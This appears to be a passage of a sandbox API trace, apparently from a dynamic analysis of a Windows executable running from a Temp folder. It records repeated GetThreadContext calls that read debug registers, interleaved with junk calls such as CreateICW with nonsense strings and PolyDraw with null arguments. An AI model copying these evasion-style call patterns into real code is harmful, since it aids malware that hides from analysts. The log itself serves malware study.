	[0066.150] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.150] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.151] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.151] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.151] GetConsoleCP () returned 0x0
	[0066.151] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.151] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.152] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.152] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.152] GetConsoleCP () returned 0x0
	[0066.152] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 